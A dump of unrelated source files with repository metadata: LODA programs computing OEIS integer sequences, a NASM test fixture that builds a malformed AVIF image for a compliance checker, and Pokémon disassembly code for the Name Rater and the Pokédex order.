[ "Apache-2.0" ]
null
null
null
; A091998: Numbers that are congruent to {1, 11} mod 12. ; 1,11,13,23,25,35,37,47,49,59,61,71,73,83,85,95,97,107,109,119,121,131,133,143,145,155,157,167,169,179,181,191,193,203,205,215,217,227,229,239,241,251,253,263,265,275,277,287,289,299,301,311,313,323,325,335,337,347,349,359,361,371,373,383,385,395,397,407,409,419,421,431,433,443,445,455,457,467,469,479,481,491,493,503,505,515,517,527,529,539,541,551,553,563,565,575,577,587,589,599,601,611,613,623,625,635,637,647,649,659,661,671,673,683,685,695,697,707,709,719,721,731,733,743,745,755,757,767,769,779,781,791,793,803,805,815,817,827,829,839,841,851,853,863,865,875,877,887,889,899,901,911,913,923,925,935,937,947,949,959,961,971,973,983,985,995,997,1007,1009,1019,1021,1031,1033,1043,1045,1055,1057,1067,1069,1079,1081,1091,1093,1103,1105,1115,1117,1127,1129,1139,1141,1151,1153,1163,1165,1175,1177,1187,1189,1199,1201,1211,1213,1223,1225,1235,1237,1247,1249,1259,1261,1271,1273,1283,1285,1295,1297,1307,1309,1319,1321,1331,1333,1343,1345,1355,1357,1367,1369,1379,1381,1391,1393,1403,1405,1415,1417,1427,1429,1439,1441,1451,1453,1463,1465,1475,1477,1487,1489,1499 mov $1,10 mul $1,$0 div $0,2 mul $0,8 add $1,1 sub $1,$0
118.2
1,066
0.749577
707511c26398bc4e56def761a3ab892592158d61
7,918
asm
Assembly
tests/avif/invalid-transformation-order-gpac.asm
y-guyon/ComplianceWarden
7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d
[ "BSD-3-Clause" ]
null
null
null
tests/avif/invalid-transformation-order-gpac.asm
y-guyon/ComplianceWarden
7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d
[ "BSD-3-Clause" ]
null
null
null
tests/avif/invalid-transformation-order-gpac.asm
y-guyon/ComplianceWarden
7315f1266b083a1cd958eae9ce7c8f07a8a6ad2d
[ "BSD-3-Clause" ]
null
null
null
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24)) ftyp_start: dd BE(ftyp_end - ftyp_start) dd "ftyp" db 0x6D, 0x69, 0x66, 0x31 ; brand(32) ('mif1') db 0x00, 0x00, 0x00, 0x00 ; version(32) db 0x6D, 0x69, 0x66, 0x31 ; compatible_brand(32) ('mif1') db 0x61, 0x76, 0x69, 0x66 ; compatible_brand(32) ('avif') db 0x6D, 0x69, 0x61, 0x66 ; compatible_brand(32) ('miaf') ftyp_end: meta_start: dd BE(meta_end - meta_start) dd "meta" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) hdlr_start: dd BE(hdlr_end - hdlr_start) dd "hdlr" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32) db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict') db 0x00, 0x00, 0x00, 0x00 ; reserved1(32) db 0x00, 0x00, 0x00, 0x00 ; reserved2(32) db 0x00, 0x00, 0x00, 0x00 ; reserved3(32) db 0x00 ; name(8) hdlr_end: pitm_start: dd BE(pitm_end - pitm_start) dd "pitm" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x01 ; item_ID(16) pitm_end: iloc_start: dd BE(iloc_end - iloc_start) dd "iloc" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x04 ; offset_size(4) length_size(4) db 0x40 ; base_offset_size(4) ('@') reserved1(4) ('@') db 0x00, 0x01 ; item_count(16) db 0x00, 0x01 ; item_ID(16) db 0x00, 0x00 ; data_reference_index(16) db 0x00, 0x00, 0x01, 0x4B ; base_offset(32) db 0x00, 0x01 ; extent_count(16) ; extent_offset(0) db 0x00, 0x00, 0x00, 0x0E ; extent_length(32) iloc_end: iinf_start: dd BE(iinf_end - iinf_start) dd "iinf" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x01 ; entry_count(16) infe_start: dd BE(infe_end - infe_start) dd "infe" db 0x02 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x01 ; item_ID(16) db 0x00, 0x00 ; item_protection_index(16) db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01') db 0x49 ; item_name(8) ('I') db 0x6D ; item_name(8) ('m') db 0x61 ; item_name(8) ('a') db 0x67 ; item_name(8) ('g') db 0x65 ; item_name(8) ('e') db 0x00 ; item_name(8) infe_end: iinf_end: iprp_start: dd BE(iprp_end - iprp_start) dd "iprp" ipco_start: dd BE(ipco_end - ipco_start) dd "ipco" ispe_start: dd BE(ispe_end - ispe_start) dd "ispe" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x08, 0x00 ; image_width(32) db 0x00, 0x00, 0x03, 0x5A ; image_height(32) ispe_end: pasp_start: dd BE(pasp_end - pasp_start) dd "pasp" db 0x00, 0x00, 0x00, 0x01 ; hSpacing(32) db 0x00, 0x00, 0x00, 0x01 ; vSpacing(32) pasp_end: imir_start: dd BE(imir_end - imir_start) dd "imir" db 0x00 ; (8) imir_end: clap_start: dd BE(clap_end - clap_start) dd "clap" db 0x00 ; (8) db 0x00 ; (8) db 0x04 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x01 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x01 ; (8) db 0xAD ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x01 ; (8) db 0xFF ; (8) db 0xFF ; (8) db 0xFE ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x01 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x01 ; (8) clap_end: av1C_start: dd BE(av1C_end - av1C_start) dd "av1C" db 0x81 ; marker(1) version(7) db 0x28 ; seq_profile(3) ('(') seq_level_idx_0(5) ('(') db 0x00 ; seq_tier_0(1) high_bitdepth(1) twelve_bit(1) monochrome(1) chroma_subsampling_x(1) chroma_subsampling_y(1) chroma_sample_position(2) db 0x00 ; reserved(3) initial_presentation_delay_present(1) reserved(4) ; configOBUs(0) ; obu(0) db 0x0A ; forbidden(1) obu_type(4) obu_extension_flag(1) obu_has_size_field(1) obu_reserved_1bit(1) db 0x0A ; leb128_byte(8) ; seqhdr(0) db 0x3A, 0x2A, 0x7F, 0xFE, 0xB3 ; seq_profile(3) still_picture(1) reduced_still_picture_header(1) timing_info_present_flag(0) decoder_model_info_present_flag(0) initial_display_delay_present_flag(0) operating_points_cnt_minus_1(0) operating_point_idc_0(0) seq_level_idx_0(5) seq_tier_0(0) decoder_model_present_for_this_op_0(0) initial_display_delay_present_for_this_op_0(0) frame_width_bits_minus_1(4) frame_height_bits_minus_1(4) max_frame_width_minus_1(11) max_frame_height_minus_1(10) use_128x128_superblock(1) db 0xDA, 0x02, 0x1A, 0x00 ; enable_filter_intra(1) enable_intra_edge_filter(1) enable_interintra_compound(0) enable_masked_compound(0) enable_warped_motion(0) enable_dual_filter(0) enable_order_hint(0) enable_jnt_comp(0) enable_ref_frame_mvs(0) seq_force_screen_content_tools(0) seq_force_integer_mv(0) OrderHintBits(0) enable_superres(1) enable_cdef(1) enable_restoration(1) high_bitdepth(1) color_description_present_flag(1) color_primaries(8) transfer_characteristics(8) matrix_coefficients(8) color_range(1) db 0x40 ; separate_uv_delta_q(1) ('@') film_grain_params_present(1) ('@') bits(6) ('@') ; /seqhdr(0) av1C_end: pixi_start: dd BE(pixi_end - pixi_start) dd "pixi" db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x00 ; (8) db 0x03 ; (8) db 0x08 ; (8) db 0x08 ; (8) db 0x08 ; (8) pixi_end: ipco_end: ipma_start: dd BE(ipma_end - ipma_start) dd "ipma" db 0x00 ; version(8) db 0x00, 0x00, 0x00 ; flags(24) db 0x00, 0x00, 0x00, 0x01 ; entry_count(32) db 0x00, 0x01 ; item_ID(16) db 0x06 ; association_count(8) db 0x01 ; essential(1) property_index(7) db 0x02 ; essential(1) property_index(7) db 0x83 ; essential(1) property_index(7) db 0x84 ; essential(1) property_index(7) db 0x85 ; essential(1) property_index(7) db 0x86 ; essential(1) property_index(7) ipma_end: iprp_end: meta_end: mdat_start: dd BE(mdat_end - mdat_start) dd "mdat" db 0x0A ; (8) db 0x0A ; (8) db 0x3A ; (8) (':') db 0x2A ; (8) ('*') db 0x7F ; (8) db 0xFE ; (8) db 0xB3 ; (8) db 0xDA ; (8) db 0x02 ; (8) db 0x1A ; (8) db 0x00 ; (8) db 0x40 ; (8) ('@') db 0x32 ; (8) ('2') db 0x00 ; (8) mdat_end:
39.788945
531
0.503031
f3a443de440795edc5bc102157500f083c85ec8d
4,425
asm
Assembly
engine/events/name_rater.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
engine/events/name_rater.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
engine/events/name_rater.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
_NameRater: ; Introduce himself ld hl, NameRaterIntroText call PrintText call YesNoBox jp c, .cancel ; Select a Pokemon from your party ld hl, NameRaterWhichMonText call PrintText farcall SelectMonFromParty jr c, .cancel ; He can't rename an egg... ld a, [wCurPartySpecies] cp EGG jr z, .egg ; ... or a Pokemon you got from a trade. call GetCurNick call CheckIfMonIsYourOT jr c, .traded ; This name is good, but we can do better. How about it? ld hl, NameRaterIsGoodText call PrintText call YesNoBox jr c, .cancel ; What name shall I give it then? ld hl, NameRaterWhichNameText call PrintText ; Load the new nickname into wStringBuffer2 xor a ; PARTYMON ld [wMonType], a ld a, [wCurPartySpecies] ld [wNamedObjectIndexBuffer], a ld [wCurSpecies], a call GetBaseData ld b, NAME_MON ld de, wStringBuffer2 farcall _NamingScreen ; If the new name is empty, treat it as unchanged. call IsNewNameEmpty ld hl, NameRaterSameAsBeforeText jr c, .samename ; If the new name is the same as the old name, treat it as unchanged. call CompareNewToOld ld hl, NameRaterSameAsBeforeText jr c, .samename ; Copy the new name from wStringBuffer2 ld hl, wPartyMonNicknames ld bc, MON_NAME_LENGTH ld a, [wCurPartyMon] call AddNTimes ld e, l ld d, h ld hl, wStringBuffer2 ld bc, MON_NAME_LENGTH call CopyBytes ld hl, NameRaterEvenBetterText .samename push hl call GetCurNick ld hl, NameRaterDoneText call PrintText pop hl jr .done .traded ld hl, NameRaterTradedText jr .done .cancel ld hl, NameRaterCancelText jr .done .egg ld hl, NameRaterEggText .done call PrintText ret CheckIfMonIsYourOT: ; Checks to see if the partymon loaded in [wCurPartyMon] has the different OT as you. Returns carry if not. ld hl, wPartyMonOT ld bc, NAME_LENGTH ld a, [wCurPartyMon] call AddNTimes ld de, wPlayerName ld c, NAME_LENGTH call .loop jr c, .nope ld hl, wPartyMon1ID ld bc, PARTYMON_STRUCT_LENGTH ld a, [wCurPartyMon] call AddNTimes ld de, wPlayerID ld c, 2 ; number of bytes in which your ID is stored .loop ld a, [de] cp [hl] jr nz, .nope inc hl inc de dec c jr nz, .loop and a ret .nope scf ret IsNewNameEmpty: ; Checks to see if the nickname loaded in wStringBuffer2 is empty. If so, return carry. ld hl, wStringBuffer2 ld c, MON_NAME_LENGTH - 1 .loop ld a, [hli] cp "@" jr z, .terminator cp " " jr nz, .nonspace dec c jr nz, .loop .terminator scf ret .nonspace and a ret CompareNewToOld: ; Compares the nickname in wStringBuffer2 to the previous nickname. If they are the same, return carry. ld hl, wPartyMonNicknames ld bc, MON_NAME_LENGTH ld a, [wCurPartyMon] call AddNTimes push hl call GetNicknameLength ld b, c ld hl, wStringBuffer2 call GetNicknameLength pop hl ld a, c cp b jr nz, .different ld de, wStringBuffer2 .loop ld a, [de] cp "@" jr z, .terminator cp [hl] jr nz, .different inc hl inc de jr .loop .different and a ret .terminator scf ret GetNicknameLength: ; Gets the length of the name starting at hl and returns it in c. ld c, 0 .loop ld a, [hli] cp "@" ret z inc c ld a, c cp MON_NAME_LENGTH - 1 jr nz, .loop ret NameRaterIntroText: ; Hello, hello! I'm the NAME RATER. ; I rate the names of #MON. ; Would you like me to rate names? text_far UnknownText_0x1c0043 text_end NameRaterWhichMonText: ; Which #MON's nickname should I rate for you? text_far UnknownText_0x1c00a0 text_end NameRaterIsGoodText: ; Hm… @ … That's a fairly decent name. ; But, how about a slightly better nickname? ; Want me to give it a better name? text_far UnknownText_0x1c00cd text_end NameRaterWhichNameText: ; All right. What name should we give it, then? text_far UnknownText_0x1c0142 text_end NameRaterEvenBetterText: ; That's a better name than before! Well done! text_far UnknownText_0x1c0171 text_end NameRaterCancelText: ; OK, then. Come again sometime. text_far UnknownText_0x1c019e text_end NameRaterTradedText: ; Hm… @ ? What a great name! It's perfect. ; Treat @ with loving care. text_far UnknownText_0x1c01be text_end NameRaterEggText: ; Whoa… That's just an EGG. text_far UnknownText_0x1c0208 text_end NameRaterSameAsBeforeText: ; It might look the different as before, ; but this new name is much better! Well done! text_far UnknownText_0x1c0222 text_end NameRaterDoneText: ; All right. This #MON is now named @ . text_far UnknownText_0x1c0272 text_end
18.75
108
0.741695
0f8bdf162a893e07b624b6581a6a51b0f9a8d9aa
833
asm
Assembly
programs/oeis/256/A256243.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/256/A256243.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/256/A256243.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A256243: Smallest positive integer m such that n + 2m is a square. ; 4,1,3,6,2,5,1,4,8,3,7,2,6,1,5,10,4,9,3,8,2,7,1,6,12,5,11,4,10,3,9,2,8,1,7,14,6,13,5,12,4,11,3,10,2,9,1,8,16,7,15,6,14,5,13,4,12,3,11,2,10,1,9,18,8,17,7,16,6,15,5,14,4,13,3,12,2,11,1,10,20,9,19,8,18,7,17,6,16,5,15,4,14,3,13,2,12,1,11,22,10,21,9,20,8,19,7,18,6,17,5,16,4,15,3,14,2,13,1,12,24,11,23,10,22,9,21,8,20,7,19,6,18,5,17,4,16,3,15,2,14,1,13,26,12,25,11,24,10,23,9,22,8,21,7,20,6,19,5,18,4,17,3,16,2,15,1,14,28,13,27,12,26,11,25,10,24,9,23,8,22,7,21,6,20,5,19,4,18,3,17,2,16,1,15,30,14,29,13,28,12,27,11,26,10,25,9,24,8,23,7,22,6,21,5,20,4,19,3,18,2,17,1,16,32,15,31,14,30,13,29,12,28,11,27,10,26,9,25,8,24,7,23,6,22,5,21,4,20,3 mov $2,$0 cal $0,253203 ; The least square larger than n with same parity as n. sub $0,$2 add $0,1 div $0,2 mov $1,$0 sub $1,1
75.727273
635
0.620648
a783699e1eb3d1e3851ce00306d403147118c2f3
587
asm
Assembly
oeis/050/A050989.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/050/A050989.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/050/A050989.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A050989: 7-idempotent numbers. ; 1,56,1764,41160,792330,13311144,201885684,2826399576,37096494435,461645264080,5493578642552,62926446269232,697434779483988,7510836086750640,78863778910881720,809668130151718992,8147285559651672357,80514351413028291528,782778416515552834300,7498193252938453465400,70857926240268385248030,661340644909171595648280,6102370496207356087118220,55717295834936729491079400,503777216507552929148509575,4513843859907674245170645792,40103766601487413485939199152,353507275968666829987167755488 mov $1,7 pow $1,$0 mov $2,7 add $2,$0 bin $2,$0 mul $1,$2 mov $0,$1
53.363636
484
0.877342
c0744acf542124b6cc3aa6eecd036f015439cee1
424
asm
Assembly
programs/oeis/119/A119915.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/119/A119915.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/119/A119915.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A119915: Number of ternary words of length n and having exactly one run of 0's of odd length. ; 0,1,4,13,40,117,332,921,2512,6761,18004,47525,124536,324317,840092,2166065,5562272,14232273,36300196,92321085,234192584,592695109,1496810732,3772761289,9492450672,23844342073,59804611060,149787196117 mov $2,1 lpb $0 mov $1,$2 add $2,$0 sub $0,1 add $2,$3 add $2,$3 mov $4,$1 add $1,$3 add $3,$4 lpe mov $0,$1
26.5
201
0.712264
814f027f2260547f416ea9c0e9c21200aee252cf
1,401
asm
Assembly
programs/oeis/055/A055989.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/055/A055989.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/055/A055989.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A055989: a(n) is its own 4th difference. ; 1,3,10,36,131,476,1728,6272,22765,82629,299915,1088589,3951206,14341527,52054840,188941273,685792227,2489191330,9034913540,32793647355,119029728628,432037221840,1568147413312,5691839002677,20659429692245,74986666876571,272175964826781,987905702640782,3585759962057263,13015082786872176,47240301007753649,171466142463123459,622363477454526842,2258966653738035876,8199276672807758515,29760571208965561228,108020699145478871712,392078208511093989376,1423109855845651203005,5165402253534642004389,18748644267498199889707,68051169031154658244845,247002478709077008700534,896534554174915251588039,3254113930477234638826664,11811321073141835061162377,42871057520836351470503523,155607282333064770289261970,564801236902395848229111556,2050035399523794190230837675,7440927648016018591466063396,27008023508213846438572475184,98029892014165901556760234688,355814994214086709327999738245,1291486785370277504462261120437,4687655506115317026131775636283,17014586903197101039640550177085,61757133626560626349933141811230,224157281952711516111887249418335,813614300110866909592267821296352,2953141756441110855650107627039585,10718894975724638258794547063281923,38905924258467282282329273589939178,141215204163642158371887248256866340,512562913413864540344988680370784739 lpb $0 sub $0,1 add $1,1 add $4,$1 add $2,$4 add $3,$2 add $1,$3 lpe add $1,1 mov $0,$1
100.071429
1,256
0.904354
32e7a79bb637f40017bc554b30ebf4be2f548dbc
3,287
asm
Assembly
data/pokemon/dex_order.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/pokemon/dex_order.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/pokemon/dex_order.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
PokedexOrder: table_width 1, PokedexOrder db DEX_RHYDON db DEX_KANGASKHAN db DEX_NIDORAN_M db DEX_CLEFAIRY db DEX_SPEAROW db DEX_VOLTORB db DEX_NIDOKING db DEX_SLOWBRO db DEX_IVYSAUR db DEX_EXEGGUTOR db DEX_LICKITUNG db DEX_EXEGGCUTE db DEX_GRIMER db DEX_GENGAR db DEX_NIDORAN_F db DEX_NIDOQUEEN db DEX_CUBONE db DEX_RHYHORN db DEX_LAPRAS db DEX_ARCANINE db DEX_MEW db DEX_GYARADOS db DEX_SHELLDER db DEX_TENTACOOL db DEX_GASTLY db DEX_SCYTHER db DEX_STARYU db DEX_BLASTOISE db DEX_PINSIR db DEX_TANGELA db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_GROWLITHE db DEX_ONIX db DEX_FEAROW db DEX_PIDGEY db DEX_SLOWPOKE db DEX_KADABRA db DEX_GRAVELER db DEX_CHANSEY db DEX_MACHOKE db DEX_MR_MIME db DEX_HITMONLEE db DEX_HITMONCHAN db DEX_ARBOK db DEX_PARASECT db DEX_PSYDUCK db DEX_DROWZEE db DEX_GOLEM db 0 ; MISSINGNO. db DEX_MAGMAR db 0 ; MISSINGNO. db DEX_ELECTABUZZ db DEX_MAGNETON db DEX_KOFFING db 0 ; MISSINGNO. db DEX_MANKEY db DEX_SEEL db DEX_DIGLETT db DEX_TAUROS db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_FARFETCHD db DEX_VENONAT db DEX_DRAGONITE db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_DODUO db DEX_POLIWAG db DEX_JYNX db DEX_MOLTRES db DEX_ARTICUNO db DEX_ZAPDOS db DEX_DITTO db DEX_MEOWTH db DEX_KRABBY db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_VULPIX db DEX_NINETALES db DEX_PIKACHU db DEX_RAICHU db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_DRATINI db DEX_DRAGONAIR db DEX_KABUTO db DEX_KABUTOPS db DEX_HORSEA db DEX_SEADRA db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_SANDSHREW db DEX_SANDSLASH db DEX_OMANYTE db DEX_OMASTAR db DEX_JIGGLYPUFF db DEX_WIGGLYTUFF db DEX_EEVEE db DEX_FLAREON db DEX_JOLTEON db DEX_VAPOREON db DEX_MACHOP db DEX_ZUBAT db DEX_EKANS db DEX_PARAS db DEX_POLIWHIRL db DEX_POLIWRATH db DEX_WEEDLE db DEX_KAKUNA db DEX_BEEDRILL db 0 ; MISSINGNO. db DEX_DODRIO db DEX_PRIMEAPE db DEX_DUGTRIO db DEX_VENOMOTH db DEX_DEWGONG db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_CATERPIE db DEX_METAPOD db DEX_BUTTERFREE db DEX_MACHAMP db 0 ; MISSINGNO. db DEX_GOLDUCK db DEX_HYPNO db DEX_GOLBAT db DEX_MEWTWO db DEX_SNORLAX db DEX_MAGIKARP db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_MUK db 0 ; MISSINGNO. db DEX_KINGLER db DEX_CLOYSTER db 0 ; MISSINGNO. db DEX_ELECTRODE db DEX_CLEFABLE db DEX_WEEZING db DEX_PERSIAN db DEX_MAROWAK db 0 ; MISSINGNO. db DEX_HAUNTER db DEX_ABRA db DEX_ALAKAZAM db DEX_PIDGEOTTO db DEX_PIDGEOT db DEX_STARMIE db DEX_BULBASAUR db DEX_VENUSAUR db DEX_TENTACRUEL db 0 ; MISSINGNO. db DEX_GOLDEEN db DEX_SEAKING db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_PONYTA db DEX_RAPIDASH db DEX_RATTATA db DEX_RATICATE db DEX_NIDORINO db DEX_NIDORINA db DEX_GEODUDE db DEX_PORYGON db DEX_AERODACTYL db 0 ; MISSINGNO. db DEX_MAGNEMITE db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_CHARMANDER db DEX_SQUIRTLE db DEX_CHARMELEON db DEX_WARTORTLE db DEX_CHARIZARD db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db 0 ; MISSINGNO. db DEX_ODDISH db DEX_GLOOM db DEX_VILEPLUME db DEX_BELLSPROUT db DEX_WEEPINBELL db DEX_VICTREEBEL assert_table_length NUM_POKEMON_INDEXES
16.943299
40
0.776088
044c766941f2597ea8b89c6563422932d5f655f1
1,240
asm
Assembly
programs/oeis/037/A037157.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/037/A037157.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/037/A037157.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A037157: Convolution of natural numbers n >= 1 with Fibonacci numbers F(k), for k >= 6. ; 8,29,71,147,278,498,862,1459,2433,4017,6588,10756,17508,28441,46139,74783,121138,196150,317530,513935,831733,1345949,2177976,3524232,5702528,9227093,14929967,24157419,39087758,63245562,102333718,165579691,267913833,433493961,701408244,1134902668,1836311388,2971214545,4807526435,7778741495,12586268458,20365010494,32951279506,53316290567,86267570653,139583861813,225851433072,365435295504,591286729208,956722025357,1548008755223,2504730781251,4052739537158,6557470319106,10610209856974,17167680176803,27777890034513,44945570212065,72723460247340,117669030460180,190392490708308,308061521169289,498454011878411,806515533048527,1304969544927778,2111485077977158,3416454622905802,5527939700883839,8944394323790533 mov $12,$0 mov $14,$0 add $14,1 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 add $11,1 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 mov $5,$0 add $5,3 mov $0,$5 mov $3,4 mov $6,0 mov $7,3 lpb $0 sub $0,1 add $3,$6 mov $5,$7 sub $5,1 mov $6,$5 mov $7,$3 lpe sub $3,1 add $10,$3 lpe add $13,$10 lpe mov $1,$13
31.794872
712
0.716129
27f21ba442449f6590abf2e637507a10c9527515
102
asm
Assembly
tests/test build script and options/nonCodeOptions/optionMsgNone.asm
fengjixuchui/sjasmplus
df0fabd2411bf89e23637fce46d273f52dafbe16
[ "BSD-3-Clause" ]
220
2016-10-22T19:44:39.000Z
2022-03-29T20:57:04.000Z
tests/test build script and options/nonCodeOptions/optionMsgNone.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
153
2018-05-07T10:31:23.000Z
2022-03-30T04:35:59.000Z
tests/test build script and options/nonCodeOptions/optionMsgNone.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
51
2016-05-12T21:27:36.000Z
2022-03-27T15:16:16.000Z
nop ld a,'warn' some_error line DISPLAY "Display is shown also in 'none' mode."
17
51
0.578431
a85819c1c9f93a856261dd027402367c3ba23549
330
asm
Assembly
oeis/084/A084329.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/084/A084329.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/084/A084329.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A084329: a(0)=0, a(1)=1, a(n)=20a(n-1)-20a(n-2). ; 0,1,20,380,7200,136400,2584000,48952000,927360000,17568160000,332816000000,6304956800000,119442816000000,2262757184000000,42866287360000000,812070603520000000,15384086323200000000 mov $1,1 lpb $0 sub $0,1 mul $1,4 sub $1,$2 add $2,$1 mul $1,5 lpe mov $0,$2 div $0,4
23.571429
181
0.712121
c363ef65b69c23ae53233e4a4121966667d95da3
1,085
asm
Assembly
libsrc/z80_crt0s/z80/sccz80/l_long_mult.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/z80_crt0s/z80/sccz80/l_long_mult.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/z80_crt0s/z80/sccz80/l_long_mult.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
